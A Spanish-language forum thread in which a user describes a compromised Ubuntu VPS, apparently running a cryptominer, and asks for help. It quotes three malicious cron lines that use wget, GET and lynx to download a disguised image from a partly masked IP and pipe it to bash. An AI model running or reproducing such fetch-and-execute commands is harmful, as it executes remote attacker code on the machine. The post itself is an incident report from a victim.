Ubuntu server consume 100% cpu

jzarranz

Gente, hace un par de dias que tengo un quilombo con un vps en digitalocean, por algun motivo el clamav empezó a consumir el 100% del cpu. lo desinstalé, seguia en el 100%, en principio fail2ban, actualicé todo y ahora es el proceso x que consume todo (aparece 3 veces ), entiendo que no deberia estar porque no tiene interfaz grafica, pero le hago kill y vuelve a aparecer, estoy un poco perdido y no se por donde seguir, alguna idea?

Ubuntu 14.04 es

jzarranz

Estuve viendo un poco mas, y aparentemente se metió un minador de algo, todavia no lo pude encontrar, pero vi que hacia varios intentos de descarga a una ip, estoy tratando de juntar mas datos y ver que onda. El clamav no encontró nada pero se vuelve loco el cpu cuando lo activo

Encontré estas 3 lineas en un cron que ya borré, le pongo unas x para q nadie se le ocurra tirar esto, igual son imagenes q descarga, no entiendo para qué pero indica que algo entró

wget --no-check-certificate -O - -q http://200.68.17.XXX/img/reptile/logo7.jpg|bash -s
GET -a http://200.68.17.XXX/img/reptile/logo7.jpg|bash -s

lynx --source http://200.68.17.XXX/img/reptile/logo7.jpg|bash -s